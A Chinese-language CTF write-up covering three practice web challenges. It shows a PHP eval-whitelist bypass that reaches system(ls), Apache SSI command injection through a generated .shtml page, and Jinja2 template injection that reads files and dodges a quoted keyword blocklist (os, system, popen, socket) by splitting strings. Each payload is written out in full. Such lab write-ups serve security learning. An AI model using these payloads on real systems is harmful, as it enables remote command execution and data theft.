第25天(共3题)
Web
[CISCN 2019 初赛]Love Math
打开网站就是一段泄露的源代码:
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){show_source(__FILE__);
}else{//例子 c=20-1$content = $_GET['c'];if (strlen($content) >= 80) {die("太长了不会算");}$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $content)) {die("请不要输入奇奇怪怪的字符");}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die("请不要输入奇奇怪怪的函数");}}//帮你算出答案eval('echo '.$content.';');
}
需要传递的是GET方法的c
,对其过滤一些特殊字符并且限制长度小于80
,而且只能用到白名单里包含的数学函数
这里我们考虑传进去一个新的GET方法,让这个方法执行我们的命令
首先需要构造_GET
参数,我们需要一个函数能够把数字转成字符,也就是hex2bin函数
hex2bin函数可以用于将十六进制值的字符串转换为ASCII字符
但是白名单没有这个函数,但是有base_convert函数
base_convert 是 PHP 中用于在任意进制之间转换数字的函数。它的语法是 base_convert(number, frombase, tobase),其中 number 是要转换的数字,frombase 是数字原来的进制,tobase 是要转换到的进制。
通过该函数获得hex2bin
(PHP中可以用字符串等效函数名):
base_convert(37907361743,10,36) //37907361743是hex2bin是36进制转换到10进制的结果
也就是逆转换就能得到hex2bin
了,接下来获得_GET
:
base_convert(37907361743,10,36)(dechex(1598506324))
//这里dechex将参数转为16进制,hex2bin再将16进制转换成_GET这几个字符
dechex函数用于将给定的十进制数转换为等效的十六进制数
直接用_GET
是不行的,因为只有$_GET
才能传递GET参数,因此这里尝试在_GET
前加上$
由于
$abs = _GET
即$abs=base_convert(37907361743,10,36)(dechex(1598506324))$$abs = $_GET //abs是白名单里的一个函数,这里当作了变量名来使用
然后是完整的Payload:
?c=$abs=base_convert(37907361743,10,36)(dechex(1598506324));$$abs{1}($$abs{2})&1=system&2=ls
总共有3个参数:c、1 和 2
(用数字作参数名是因为字母被过滤了,所以system和接下来的ls等命令都要用新的GET参数值传进去,这样才不用接受检查了)
上面的Payload翻译过来其实就是:
?c=$_GET[system]($_GET[ls]);
也就是
system(ls);
[BJDCTF2020]EasySearch
一个登录网页,查看题解得知有一个泄露的index.php.swp
,访问即可查看
<?phpob_start();function get_hash(){$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times$content = uniqid().$random;return sha1($content); }header("Content-Type: text/html;charset=utf-8");***if(isset($_POST['username']) and $_POST['username'] != '' ){$admin = '6d0bc1';if ( $admin == substr(md5($_POST['password']),0,6)) {echo "<script>alert('[+] Welcome to manage system')</script>";$file_shtml = "public/".get_hash().".shtml";$shtml = fopen($file_shtml, "w") or die("Unable to open file!");$text = '******<h1>Hello,'.$_POST['username'].'</h1>******';fwrite($shtml,$text);fclose($shtml);***echo "[!] Header error ...";} else {echo "<script>alert('[!] Failed')</script>";}else{***}***
?>
主要就是密码的MD5值的前六位需要等于6d0bc1
以下满足条件:
2020666
2305004
9162671
成功登录,在网络一栏发现新的内容:
public/89842b160800cfbe91016e437baacc9d95d242a1.shtml
shtml
有Apache SSI 远程命令执行漏洞
shtml是一种用于SSI技术的文件——Server Side Include–SSI。
SSI是为WEB服务器提供的一套命令,这些命令只要直接嵌入到HTML文档的注释内容之中即可
访问http://5aea4255-5009-411e-b8e1-298b79c2dc53.node5.buuoj.cn:81/public/89842b160800cfbe91016e437baacc9d95d242a1.shtml
容易产生ssi注入
,此处注入格式为:<!--#exec cmd="命令" -->
注意注入的页面不是这个shtml
,这个页面是用来看回显内容的,要注入的话得从最开始的首页:
<!--#exec cmd="ls ../"-->
现在这个页面注入,然后按照刚刚的流程找到shtml的地址(每次注入地址都会改变),然后访问就能看到内容:
这里访问flag_990c66bf85a09c664f0b6741840499b2
即<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->
拿到flag
[GYCTF2020]FlaskApp
是一个Flask的网站,猜测存在SSTI
提示里是:
加密页面只是简单的将输入内容进行Base64编码后返回
而解密页面则会将编码内容解码并且进行模板渲染输出,存在SSTI
解密页面随便输入123就爆出了错误页面(说明开启了Debug
模式)
同时能看到app.py
的一部分代码
@app.route('/decode',methods=['POST','GET'])
def decode():if request.values.get('text') :text = request.values.get("text")text_decode = base64.b64decode(text.encode())tmp = "结果 : {0}".format(text_decode.decode())if waf(tmp) :flash("no no no !!")return redirect(url_for('decode'))res = render_template_string(tmp) //说明存在模板注入
尝试
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}
{% endfor %}
通过'__builtins__'
下的open函数
执行读取app.py
的命令
builtins 内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等
注意要先加密再复制编码后的内容来解密
WAF代码:
def waf(str):black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]for x in black_list :if x in str.lower() :return 1
过滤了flag、os、system、popen、eval
等
但是可以通过拼接的方式绕过检测
先查看当前目录:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{{c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}
{% endfor%}
发现了this_is_the_flag.txt
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}
{% endfor%}
拿到flag